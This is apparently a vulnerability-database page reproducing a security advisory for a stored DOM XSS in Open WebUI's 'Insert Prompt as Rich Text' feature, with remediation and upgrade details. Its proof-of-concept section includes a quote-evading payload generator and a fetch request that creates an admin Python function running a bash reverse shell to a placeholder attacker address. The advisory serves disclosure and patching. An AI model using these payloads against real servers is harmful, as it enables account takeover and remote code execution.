GHSA-w7xj-8fx7-wfch is a high-severity (CVSS 8.7) Cross-site Scripting (XSS) vulnerability in open-webui. 1 public exploit reference exists, so weaponization risk is real. A fix is available for open-webui — see the affected versions and patch details below.
Open WebUI vulnerable to Stored DOM XSS via prompts when 'Insert Prompt as Rich Text' is enabled resulting in ATO/RCE
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-w7xj-8fx7-wfch.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-w7xj-8fx7-wfch plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
open-webuinpmDescription
Summary
The functionality that inserts custom prompts into the chat window is vulnerable to DOM XSS when 'Insert Prompt as Rich Text' is enabled, since the prompt body is assigned to the DOM sink .innerHtml without sanitisation. Any user with permissions to create prompts can abuse this to plant a payload that could be triggered by other users if they run the corresponding / command to insert the prompt.
Details
The affected line is https://github.com/open-webui/open-webui/blob/7a83e7dfa367d19f762ec17cac5e4a94ea2bd97d/src/lib/components/common/RichTextInput.svelte#L348
export const replaceCommandWithText = async (text) => {
const { state, dispatch } = editor.view;
const { selection } = state;
const pos = selection.from;
// Get the plain text of this document
// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');
// Find the word boundaries at cursor
const { start, end } = getWordBoundsAtPos(state.doc, pos);
let tr = state.tr;
if (insertPromptAsRichText) {
const htmlContent = marked
.parse(text, {
breaks: true,
gfm: true
})
.trim();
// Create a temporary div to parse HTML
const tempDiv = document.createElement('div');
tempDiv.innerHTML = htmlContent; // <---- vulnerable
User controlled HTML from the prompt body is assigned to tempDiv.innerHTML without (meaningful) sanitisation. marked.parse introduces some character limitations but does not sanitise the content, as stated in their README.
PoC
Create a custom prompt as follows: <img width="3006" height="1100" alt="image" src="https://github.com/user-attachments/assets/47de7a11-514d-48f9-8c6a-04ab1894f981" />
Via settings, ensure 'Insert Prompt as Rich Text' is enabled: <img width="2204" height="1268" alt="image" src="https://github.com/user-attachments/assets/f188065f-7c11-4f09-9ced-4e7d2e6f4d48" />
Run the command /poc via a chat window.
<img width="2470" height="1332" alt="image" src="https://github.com/user-attachments/assets/5a112f51-210a-43f3-b999-915b1d0e6744" />
Observe the alert is triggered. <img width="2452" height="1456" alt="image" src="https://github.com/user-attachments/assets/fa15dbd6-44a7-4cfc-bd93-4cc56aac5eea" />
RCE
Since admins can naturally run arbitrary Python code on the server via the 'Functions' feature, this XSS could be used to force any admin that triggers it to run one such of these function with Python code of the attackers choosing.
This can be accomplished by making them run the following fetch request:
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('echo RCE')"
})
})
This cannot be done directly because the marked.parse call the HTML is passed through will neutralise payloads containing quotes
<img width="1718" height="482" alt="image" src="https://github.com/user-attachments/assets/6797efbd-4f2e-4570-ad9f-59a65dba1745" />
To get around this strings must be manually constructed from their decimal values using String.fromCodePoint. The following Python script automates generating a viable payload from given JavaScript:
payload2 = """
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')"
})
})
""".lstrip().rstrip()
out = ""
for c in payload2:
out += f"String.fromCodePoint({ord(c)})+"
print(f"<img src=x onerror=eval({out[:-1]})>")
An admin that triggers the corresponding payload via a prompt command will trigger a Python function to run that runs a reverse shell payload, giving command line access on the server to the attacker. <img width="2476" height="756" alt="image" src="https://github.com/user-attachments/assets/01f9e991-832a-4cfb-8c3e-3b2ce02cff15" />
<img width="2492" height="1530" alt="image" src="https://github.com/user-attachments/assets/d08eb48f-a688-41a1-9b52-e91df7ced929" /> <img width="1968" height="916" alt="image" src="https://github.com/user-attachments/assets/2ad6a19e-f151-4ac9-9903-0961e33fe42f" />Impact
Any user running the malicious prompt could have their account compromised via malicious JavaScript that reads their session token from localstorage and exfiltrates it to an attacker controlled server.
Admin users running the malicious prompt risk exposing the backend server to remote code execution (RCE) since malicious JavaScript running via the vulnerability can be used to send requests as the admin user that run malicious Python functions, that may run operating system commands.
Caveats
Low privilege users cannot create prompts by default, the USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS permission is needed, which may be given out via e.g. a custom group. see: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions
A victim user running the command to trigger the prompt needs to have the 'Insert Prompt as Rich Text' setting enabled via preferences for the vulnerability to trigger. The setting is off by default. Users with this setting disabled are unaffected.
Remediation
Sanitise the user controlled HTML with DOMPurify before assigning it to .innerHtml
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | open-webui | all versions | 0.6.35npm install open-webui@0.6.35 |
| 🐍PyPI | open-webui | all versions | 0.6.35pip install --upgrade 'open-webui==0.6.35' |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update open-webui to 0.6.35 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w7xj-8fx7-wfch is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-w7xj-8fx7-wfch can be triaged on real exposure rather than presence alone.
Tailored to GHSA-w7xj-8fx7-wfch. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-w7xj-8fx7-wfch in your dependencies?
O3 Security finds GHSA-w7xj-8fx7-wfch across npm, PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.